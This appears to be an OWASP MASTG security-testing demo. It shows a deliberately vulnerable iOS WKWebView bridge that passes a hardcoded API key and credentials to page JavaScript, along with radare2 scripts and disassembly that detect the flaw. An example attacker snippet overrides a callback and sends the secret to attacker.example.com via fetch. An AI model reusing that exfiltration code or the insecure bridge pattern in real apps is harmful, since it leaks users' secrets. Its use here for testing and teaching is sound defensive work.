Skip to content

MASTG-DEMO-0143: Sensitive Data Returned to Page JavaScript via evaluateJavaScript in a WKScriptMessageHandler

Download MASTG-DEMO-0143 IPA Open MASTG-DEMO-0143 Folder Build MASTG-DEMO-0143 IPA

Sample

This sample reuses the same vulnerable WKWebView setup from Sensitive Data and Functionality Exposed Through a WKWebView Native Bridge. The SecretBridgeHandler implementation handles two bridge actions (getSecret and getCredentials) and returns sensitive native data to JavaScript by calling evaluateJavaScript:completionHandler:, injecting the data directly into the page's JavaScript context via a global callback function.

Any JavaScript running in the page can override those callback functions before the native handler fires them:

// Attacker overrides the callback to intercept the response
window.receiveSecret = function(secret) {
    fetch("https://attacker.example.com/?leak=" + secret);
};
// Then triggers the bridge as normal
window.webkit.messageHandlers.bridge.postMessage({action: 'getSecret'});
../MASTG-DEMO-0142/MastgTest.swift
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
import UIKit
import WebKit

// SUMMARY: This sample demonstrates a WKWebView with a WKScriptMessageHandler named "bridge"
// that exposes sensitive native functionality to JavaScript running inside the WebView.
// Any JavaScript in the page can call:
//   window.webkit.messageHandlers.bridge.postMessage({"action": "getSecret"})
// to invoke native code and receive a sensitive API key in response.

// FAIL: [MASTG-TEST-0376] The SecretBridgeHandler exposes sensitive native data
// (a stored API key) to any JavaScript running in the WebView without validating
// the origin or the content of the incoming message.
class SecretBridgeHandler: NSObject, WKScriptMessageHandler {
    func userContentController(_ userContentController: WKUserContentController,
                               didReceive message: WKScriptMessage) {
        guard let body = message.body as? [String: String],
              let action = body["action"] else { return }

        switch action {
        case "getSecret":
            // FAIL: [MASTG-TEST-0376] Sensitive data (API key) is returned to JavaScript
            // without validating the origin of the message.
            let secret = "MASTG_API_KEY=072037ab-1b7b-4b3b-8b7b-1b7b4b3b8b7b"
            let js = "window.receiveSecret('\(secret)')"
            message.webView?.evaluateJavaScript(js, completionHandler: nil)
        case "getCredentials":
            // FAIL: [MASTG-TEST-0376] User credentials are returned to JavaScript
            // without any input validation or origin check.
            let credentials = "user=admin&pass=S3cr3t!"
            let js = "window.receiveCredentials('\(credentials)')"
            message.webView?.evaluateJavaScript(js, completionHandler: nil)
        default:
            break
        }
    }
}

struct MastgTest {
    @inline(never) @_optimize(none)
    public static func mastgTest(completion: @escaping (String) -> Void) {
        DispatchQueue.main.async {
            showWebView(completion: completion)
        }
    }

    private static func showWebView(completion: @escaping (String) -> Void) {
        let config = WKWebViewConfiguration()

        // FAIL: [MASTG-TEST-0376] A native bridge named "bridge" is registered via
        // add(_:name:), exposing SecretBridgeHandler to any JavaScript in the WebView.
        config.userContentController.add(SecretBridgeHandler(), name: "bridge")

        let webView = WKWebView(frame: .zero, configuration: config)

        let html = """
        <!DOCTYPE html>
        <html>
        <head>
            <meta name="viewport" content="width=device-width, initial-scale=1.0">
            <style>
                body { font-family: -apple-system, sans-serif; text-align: center; padding-top: 50px; }
                button { padding: 10px 20px; margin: 5px; font-size: 16px; }
                pre { text-align: left; padding: 10px; background: #f4f4f4; border-radius: 4px; }
            </style>
        </head>
        <body>
            <h1>Secure Portal</h1>
            <button onclick="getSecret()">Get API Key</button>
            <button onclick="getCredentials()">Get Credentials</button>
            <pre id="result">Press a button to invoke the native bridge.</pre>
            <script>
                window.receiveSecret = function(secret) {
                    document.getElementById('result').textContent = 'API Key: ' + secret;
                };
                window.receiveCredentials = function(creds) {
                    document.getElementById('result').textContent = 'Credentials: ' + creds;
                };
                function getSecret() {
                    window.webkit.messageHandlers.bridge.postMessage({action: 'getSecret'});
                }
                function getCredentials() {
                    window.webkit.messageHandlers.bridge.postMessage({action: 'getCredentials'});
                }
            </script>
        </body>
        </html>
        """

        webView.loadHTMLString(html, baseURL: nil)

        let vc = UIViewController()
        vc.view = webView

        guard let presenter = topViewController() else {
            completion("Failed to present: no view controller.")
            return
        }

        presenter.present(vc, animated: true) {
            completion("WebView with native bridge loaded.")
        }
    }

    private static func topViewController(base: UIViewController? = nil) -> UIViewController? {
        let root = base ?? UIApplication.shared.connectedScenes
            .compactMap { $0 as? UIWindowScene }
            .flatMap { $0.windows }
            .first { $0.isKeyWindow }?.rootViewController

        if let nav = root as? UINavigationController {
            return topViewController(base: nav.visibleViewController)
        }
        if let tab = root as? UITabBarController {
            return topViewController(base: tab.selectedViewController)
        }
        if let presented = root?.presentedViewController {
            return topViewController(base: presented)
        }
        return root
    }
}

Steps

  1. Use Exploring the App Package to extract the app. The main binary is ./Payload/MASTestApp.app/MASTestApp.
  2. Use radare2 (iOS) with the -i option to run this script.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
e asm.bytes=false
e scr.color=false
e scr.interactive=false
e asm.var=false
e bin.relocs.apply=true

?e List all uses of the 'evaluateJavaScript:completionHandler:' selector:
f~evaluateJavaScript

?e

?e xrefs to 'evaluateJavaScript:completionHandler:':
axt @ reloc.fixup.evaluateJavaScript:completionHa

?e

?e Code snippet at first call site (getSecret case: builds window.receiveSecret('...') with the API key):
pd 105 @ 0x1510

?e

?e Code snippet at second call site (getCredentials case: builds window.receiveCredentials('...') with the credentials):
pd 105 @ 0x1764
1
2
#!/bin/bash
r2 -q -e bin.relocs.apply=true -i evaluate_js_callback.r2 -A ../MASTG-DEMO-0142/MASTestApp > output.txt

Observation

The output shows all uses of the evaluateJavaScript:completionHandler: selector in the binary and the cross-references that identify the enclosing function.

output.txt
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
List all uses of the 'evaluateJavaScript:completionHandler:' selector:
0x000134e2 38 str.evaluateJavaScript:completionHandler:
0x0001c2c0 8 reloc.fixup.evaluateJavaScript:completionHa

xrefs to 'evaluateJavaScript:completionHandler:':
sym.MASTestApp.SecretBridgeHandler.userContentController.allocator.didReceive...ySo06WKUsergH0C_So15WKScriptMessageCtF 0x1698 [DATA:r--] ldr x1, reloc.fixup.evaluateJavaScript:completionHa
sym.MASTestApp.SecretBridgeHandler.userContentController.allocator.didReceive...ySo06WKUsergH0C_So15WKScriptMessageCtF 0x18ec [DATA:r--] ldr x1, reloc.fixup.evaluateJavaScript:completionHa

Code snippet at first call site (getSecret case: builds window.receiveSecret('...') with the API key):
|           0x00001510      adrp x0, 0x14000
|           0x00001514      add x0, x0, 0x930                          ; 0x14930 ; "MASTG_API_KEY=072037ab-1b7b-4b3b-8b7b-1b7b4b3b8b7b"
|           0x00001518      mov w8, 0x32                               ; '2'
|           0x0000151c      mov x1, x8
|           0x00001520      mov w8, 1
|           0x00001524      str w8, [var_bch]
|           0x00001528      and w2, w8, 1
|           0x0000152c      bl sym.imp._builtinStringLiteral.utf8CodeUnitCount.isASCII__String:_Builtin.Word__B_...cfC_ ; _builtinStringLiteral.utf8CodeUnitCount.isASCII__String: Builtin.Word, B(...cfC)
|           0x00001530      str x0, [var_a8h]
|           0x00001534      str x1, [var_b0h]
|           0x00001538      str x0, [var_1a8h]
|           0x0000153c      str x1, [var_1b0h]
|           0x00001540      mov w8, 0x18
|           0x00001544      mov x0, x8
|           0x00001548      mov w8, 1
|           0x0000154c      mov x1, x8
|           0x00001550      bl sym.imp.DefaultStringInterpolation.literalCapacity.interpolationCount_...itcfC_ ; DefaultStringInterpolation.literalCapacity.interpolationCount(...itcfC)
|           0x00001554      ldr w8, [var_bch]
|           0x00001558      add x20, sp, 0x198
|           0x0000155c      str x20, [var_c8h]
|           0x00001560      str x0, [arg_138h]
|           0x00001564      str x1, [arg_130h]
|           0x00001568      adrp x0, 0x14000
|           0x0000156c      add x0, x0, 0x970                          ; 0x14970 ; "window.receiveSecret('"
|           0x00001570      mov w9, 0x16
|           0x00001574      mov x1, x9
|           0x00001578      and w2, w8, 1
|           0x0000157c      bl sym.imp._builtinStringLiteral.utf8CodeUnitCount.isASCII__String:_Builtin.Word__B_...cfC_ ; _builtinStringLiteral.utf8CodeUnitCount.isASCII__String: Builtin.Word, B(...cfC)
|           0x00001580      str x1, [var_a0h]
|           0x00001584      bl sym.imp.DefaultStringInterpolation.appendLiteral_...SSF_ ; DefaultStringInterpolation.appendLiteral(...SSF)
|           0x00001588      ldr x20, [var_c8h]
|           0x0000158c      ldr x0, [var_a0h]                          ; void *arg0
|           0x00001590      bl sym.imp.swift_bridgeObjectRelease       ; void swift_bridgeObjectRelease(void *arg0)
|           0x00001594      ldr x8, [var_a8h]
|           0x00001598      ldr x1, [var_b0h]
|           0x0000159c      add x0, sp, 0x188
|           0x000015a0      str x8, [var_18h8]
|           0x000015a4      str x1, [arg_140h]
|           0x000015a8      adrp x1, segment.__DATA_CONST              ; 0x18000
|           0x000015ac      ldr x1, [x1, 0x610]                        ; [0x18610:8]=0
|                                                                      ; reloc....SSN
|           0x000015b0      adrp x2, segment.__DATA_CONST              ; 0x18000
|           0x000015b4      ldr x2, [x2, 0x638]                        ; [0x18638:8]=0
|                                                                      ; reloc.CustomStringConvertible.setter_...P_
|           0x000015b8      adrp x3, segment.__DATA_CONST              ; 0x18000
|           0x000015bc      ldr x3, [x3, 0x630]                        ; [0x18630:8]=0
|                                                                      ; reloc.TextOutputStreamable.setter_...P_
|           0x000015c0      bl sym.imp.DefaultStringInterpolation.append...C0yyxs06CustomB11ConvertibleRzs20TextOutputStreamableRzlF
|           0x000015c4      ldr x20, [var_c8h]
|           0x000015c8      ldr w8, [var_bch]
|           0x000015cc      adrp x0, 0x14000
|           0x000015d0      add x0, x0, 0x92c
|           0x000015d4      mov w9, 2
|           0x000015d8      mov x1, x9
|           0x000015dc      and w2, w8, 1
|           0x000015e0      bl sym.imp._builtinStringLiteral.utf8CodeUnitCount.isASCII__String:_Builtin.Word__B_...cfC_ ; _builtinStringLiteral.utf8CodeUnitCount.isASCII__String: Builtin.Word, B(...cfC)
|           0x000015e4      str x1, [var_c0h]
|           0x000015e8      bl sym.imp.DefaultStringInterpolation.appendLiteral_...SSF_ ; DefaultStringInterpolation.appendLiteral(...SSF)
|           0x000015ec      ldr x0, [var_c0h]                          ; void *arg0
|           0x000015f0      bl sym.imp.swift_bridgeObjectRelease       ; void swift_bridgeObjectRelease(void *arg0)
|           0x000015f4      ldr x8, [arg_138h]
|           0x000015f8      str x8, [var_d8h]
|           0x000015fc      ldr x0, [arg_130h]                         ; void *arg0
|           0x00001600      str x0, [var_d0h]
|           0x00001604      bl sym.imp.swift_bridgeObjectRetain        ; void *swift_bridgeObjectRetain(void *arg0)
|           0x00001608      ldr x0, [var_c8h]                          ; void *arg1
|           0x0000160c      bl sym....ss26DefaultStringInterpolationVWOh ; func.00002d10
|           0x00001610      ldr x1, [var_d0h]
|           0x00001614      ldr x0, [var_d8h]
|           0x00001618      bl sym.imp.stringInterpolation__String_...cfC_ ; stringInterpolation__String(...cfC)
|           0x0000161c      mov x8, x0
|           0x00001620      ldr x0, [instance]                         ; void *instance
|           0x00001624      str x8, [var_e0h]
|           0x00001628      str x1, [var_e8h]
|           0x0000162c      str x8, [var_178h]
|           0x00001630      str x1, [var_180h]
|           0x00001634      adrp x8, sym.__PROTOCOLS__TtC10MASTestApp19SecretBridgeHandler ; 0x1c000
|           0x00001638      ldr x1, [x8, 0x2b8]                        ; [0x1344c:8]=0x77656956626577 ; "webView" ; char *selector
|           0x0000163c      bl sym.imp.objc_msgSend                    ; void *objc_msgSend(void *instance, char *selector)
|           0x00001640      mov x29, x29
|           0x00001644      bl sym.imp.objc_retainAutoreleasedReturnValue ; void objc_retainAutoreleasedReturnValue(void *instance)
|           0x00001648      str x0, [var_f0h]
|           0x0000164c      cbz x0, 0x16dc
|           0x00001650      b 0x1654
|           ; CODE XREF from func.000012d0 @ 0x1650(x)
|           0x00001654      ldr x8, [var_f0h]
|           0x00001658      str x8, [var_98h]
|           0x0000165c      b 0x1660
|           ; CODE XREF from func.000012d0 @ 0x165c(x)
|           0x00001660      ldr x0, [var_e8h]                          ; void *arg0
|           0x00001664      ldr x8, [var_98h]
|           0x00001668      str x8, [var_90h]
|           0x0000166c      bl sym.imp.swift_bridgeObjectRetain        ; void *swift_bridgeObjectRetain(void *arg0)
|           0x00001670      ldr x0, [var_e0h]
|           0x00001674      ldr x1, [var_e8h]
|           0x00001678      bl sym.imp.Foundationbool_...ridgeToObjectiveCSo8NSStringCyF_ ; Foundationbool(...ridgeToObjectiveCSo8NSStringCyF)
|           0x0000167c      mov x1, x0
|           0x00001680      ldr x0, [var_e8h]                          ; void *arg0
|           0x00001684      str x1, [var_88h]
|           0x00001688      bl sym.imp.swift_bridgeObjectRelease       ; void swift_bridgeObjectRelease(void *arg0)
|           0x0000168c      ldr x2, [var_88h]
|           0x00001690      ldr x0, [var_90h]                          ; void *instance
|           0x00001694      adrp x8, sym.__PROTOCOLS__TtC10MASTestApp19SecretBridgeHandler ; 0x1c000
|           0x00001698      ldr x1, [x8, 0x2c0]                        ; [0x134e2:8]=0x657461756c617665 ; "evaluateJavaScript:completionHandler:" ; char *selector
|           0x0000169c      mov x3, 0
|           0x000016a0      bl sym.imp.objc_msgSend                    ; void *objc_msgSend(void *instance, char *selector)
|           0x000016a4      ldr x0, [var_88h]
|           0x000016a8      adrp x8, segment.__DATA_CONST              ; 0x18000
|           0x000016ac      ldr x8, [x8, 0x108]                        ; [0x18108:8]=0
|                                                                      ; reloc.objc_release
|           0x000016b0      blr x8

Code snippet at second call site (getCredentials case: builds window.receiveCredentials('...') with the credentials):
|           0x00001764      adrp x0, 0x14000
|           0x00001768      add x0, x0, 0x8f0                          ; 0x148f0 ; "user=admin&pass=S3cr3t!"
|           0x0000176c      mov w8, 0x17
|           0x00001770      mov x1, x8
|           0x00001774      mov w8, 1
|           0x00001778      str w8, [var_3ch]
|           0x0000177c      and w2, w8, 1
|           0x00001780      bl sym.imp._builtinStringLiteral.utf8CodeUnitCount.isASCII__String:_Builtin.Word__B_...cfC_ ; _builtinStringLiteral.utf8CodeUnitCount.isASCII__String: Builtin.Word, B(...cfC)
|           0x00001784      str x0, [var_28h]
|           0x00001788      str x1, [var_30h]
|           0x0000178c      stur x0, [x29, -0xd8]
|           0x00001790      stur x1, [x29, -0xd0]
|           0x00001794      mov w8, 0x1d
|           0x00001798      mov x0, x8
|           0x0000179c      mov w8, 1
|           0x000017a0      mov x1, x8
|           0x000017a4      bl sym.imp.DefaultStringInterpolation.literalCapacity.interpolationCount_...itcfC_ ; DefaultStringInterpolation.literalCapacity.interpolationCount(...itcfC)
|           0x000017a8      ldr w8, [var_3ch]
|           0x000017ac      sub x20, x29, 0xe8
|           0x000017b0      str x20, [arg_48h]
|           0x000017b4      stur x0, [x29, -0xe8]
|           0x000017b8      stur x1, [x29, -0xe0]
|           0x000017bc      adrp x0, 0x14000
|           0x000017c0      add x0, x0, 0x910                          ; 0x14910 ; "window.receiveCredentials('"
|           0x000017c4      mov w9, 0x1b
|           0x000017c8      mov x1, x9
|           0x000017cc      and w2, w8, 1
|           0x000017d0      bl sym.imp._builtinStringLiteral.utf8CodeUnitCount.isASCII__String:_Builtin.Word__B_...cfC_ ; _builtinStringLiteral.utf8CodeUnitCount.isASCII__String: Builtin.Word, B(...cfC)
|           0x000017d4      str x1, [arg_20h]
|           0x000017d8      bl sym.imp.DefaultStringInterpolation.appendLiteral_...SSF_ ; DefaultStringInterpolation.appendLiteral(...SSF)
|           0x000017dc      ldr x20, [arg_48h]
|           0x000017e0      ldr x0, [arg_20h]                          ; void *arg0
|           0x000017e4      bl sym.imp.swift_bridgeObjectRelease       ; void swift_bridgeObjectRelease(void *arg0)
|           0x000017e8      ldr x8, [var_28h]
|           0x000017ec      ldr x1, [var_30h]
|           0x000017f0      sub x0, x29, 0xf8
|           0x000017f4      stur x8, [x29, -0xf8]
|           0x000017f8      stur x1, [x29, -0xf0]
|           0x000017fc      adrp x1, segment.__DATA_CONST              ; 0x18000
|           0x00001800      ldr x1, [x1, 0x610]                        ; [0x18610:8]=0
|                                                                      ; reloc....SSN
|           0x00001804      adrp x2, segment.__DATA_CONST              ; 0x18000
|           0x00001808      ldr x2, [x2, 0x638]                        ; [0x18638:8]=0
|                                                                      ; reloc.CustomStringConvertible.setter_...P_
|           0x0000180c      adrp x3, segment.__DATA_CONST              ; 0x18000
|           0x00001810      ldr x3, [x3, 0x630]                        ; [0x18630:8]=0
|                                                                      ; reloc.TextOutputStreamable.setter_...P_
|           0x00001814      bl sym.imp.DefaultStringInterpolation.append...C0yyxs06CustomB11ConvertibleRzs20TextOutputStreamableRzlF
|           0x00001818      ldr x20, [arg_48h]
|           0x0000181c      ldr w8, [var_3ch]
|           0x00001820      adrp x0, 0x14000
|           0x00001824      add x0, x0, 0x92c
|           ; DATA XREF from symbolic UInt8...V @ 0x14104(r)
|           ; DATA XREF from symbolic UInt8...V @ +0x20(r) ; sym.symbolic_UInt8...V__1
|           0x00001828      mov w9, 2
|           0x0000182c      mov x1, x9
|           0x00001830      and w2, w8, 1
|           0x00001834      bl sym.imp._builtinStringLiteral.utf8CodeUnitCount.isASCII__String:_Builtin.Word__B_...cfC_ ; _builtinStringLiteral.utf8CodeUnitCount.isASCII__String: Builtin.Word, B(...cfC)
|           0x00001838      str x1, [arg_40h]
|           0x0000183c      bl sym.imp.DefaultStringInterpolation.appendLiteral_...SSF_ ; DefaultStringInterpolation.appendLiteral(...SSF)
|           0x00001840      ldr x0, [arg_40h]                          ; void *arg0
|           0x00001844      bl sym.imp.swift_bridgeObjectRelease       ; void swift_bridgeObjectRelease(void *arg0)
|           0x00001848      ldur x8, [x29, -0xe8]
|           0x0000184c      str x8, [arg_58h]
|           0x00001850      ldur x0, [x29, -0xe0]                      ; void *arg0
|           0x00001854      str x0, [arg_50h]
|           0x00001858      bl sym.imp.swift_bridgeObjectRetain        ; void *swift_bridgeObjectRetain(void *arg0)
|           0x0000185c      ldr x0, [arg_48h]                          ; void *arg1
|           0x00001860      bl sym....ss26DefaultStringInterpolationVWOh ; func.00002d10
|           0x00001864      ldr x1, [arg_50h]
|           0x00001868      ldr x0, [arg_58h]
|           0x0000186c      bl sym.imp.stringInterpolation__String_...cfC_ ; stringInterpolation__String(...cfC)
|           0x00001870      mov x8, x0
|           0x00001874      ldr x0, [instance]                         ; void *instance
|           0x00001878      str x8, [arg_60h]
|           0x0000187c      str x1, [arg_68h]
|           0x00001880      str x8, [var_1b8h]
|           0x00001884      str x1, [var_1c0h]
|           0x00001888      adrp x8, sym.__PROTOCOLS__TtC10MASTestApp19SecretBridgeHandler ; 0x1c000
|           0x0000188c      ldr x1, [x8, 0x2b8]                        ; [0x1344c:8]=0x77656956626577 ; "webView" ; char *selector
|           0x00001890      bl sym.imp.objc_msgSend                    ; void *objc_msgSend(void *instance, char *selector)
|           0x00001894      mov x29, x29
|           0x00001898      bl sym.imp.objc_retainAutoreleasedReturnValue ; void objc_retainAutoreleasedReturnValue(void *instance)
|           0x0000189c      str x0, [arg_70h]
|           0x000018a0      cbz x0, 0x1930
|           0x000018a4      b 0x18a8
|           ; CODE XREF from func.000012d0 @ 0x18a4(x)
|           0x000018a8      ldr x8, [var_70h]
|           0x000018ac      str x8, [var_18h]
|           0x000018b0      b 0x18b4
|           ; CODE XREF from func.000012d0 @ 0x18b0(x)
|           0x000018b4      ldr x0, [var_68h]                          ; void *arg0
|           0x000018b8      ldr x8, [var_18h]
|           0x000018bc      str x8, [var_10h_2]
|           0x000018c0      bl sym.imp.swift_bridgeObjectRetain        ; void *swift_bridgeObjectRetain(void *arg0)
|           0x000018c4      ldr x0, [var_60h]
|           0x000018c8      ldr x1, [var_68h]
|           0x000018cc      bl sym.imp.Foundationbool_...ridgeToObjectiveCSo8NSStringCyF_ ; Foundationbool(...ridgeToObjectiveCSo8NSStringCyF)
|           0x000018d0      mov x1, x0
|           0x000018d4      ldr x0, [var_68h]                          ; void *arg0
|           0x000018d8      str x1, [var_8h]
|           0x000018dc      bl sym.imp.swift_bridgeObjectRelease       ; void swift_bridgeObjectRelease(void *arg0)
|           0x000018e0      ldr x2, [var_8h]
|           0x000018e4      ldr x0, [var_10h_2]                        ; void *instance
|           0x000018e8      adrp x8, sym.__PROTOCOLS__TtC10MASTestApp19SecretBridgeHandler ; 0x1c000
|           0x000018ec      ldr x1, [x8, 0x2c0]                        ; [0x134e2:8]=0x657461756c617665 ; "evaluateJavaScript:completionHandler:" ; char *selector
|           0x000018f0      mov x3, 0
|           0x000018f4      bl sym.imp.objc_msgSend                    ; void *objc_msgSend(void *instance, char *selector)
|           0x000018f8      ldr x0, [var_8h]
|           0x000018fc      adrp x8, segment.__DATA_CONST              ; 0x18000
|           0x00001900      ldr x8, [x8, 0x108]                        ; [0x18108:8]=0
|                                                                      ; reloc.objc_release
|           0x00001904      blr x8

Evaluation

The test case fails because the app calls evaluateJavaScript:completionHandler: from within SecretBridgeHandler.userContentController:didReceive:, the WKScriptMessageHandler implementation, to inject sensitive data back into the page's JavaScript context.

Both xrefs point to sym.MASTestApp.SecretBridgeHandler.userContentController.allocator.didReceive..., confirming that both calls originate from the bridge handler:

  1. The getSecret case loads the hardcoded API key "MASTG_API_KEY=072037ab-..." (at 0x00001514) and the JavaScript template "window.receiveSecret('" (at 0x0000156c), interpolates them into a single script string, and dispatches it via the evaluateJavaScript:completionHandler: selector at 0x00001698.
  2. The getCredentials case loads the credentials "user=admin&pass=S3cr3t!" (at 0x00001768) and the JavaScript template "window.receiveCredentials('" (at 0x000017c0), interpolates them, and dispatches the result via the same selector at 0x000018ec.

Because receiveSecret and receiveCredentials are plain global functions defined in the page context, any JavaScript running on the page can override them before the native handler fires, intercepting the sensitive values on their way back from native code. Refer to Use WKScriptMessageHandlerWithReply to Return Data to JavaScript for the recommended alternative.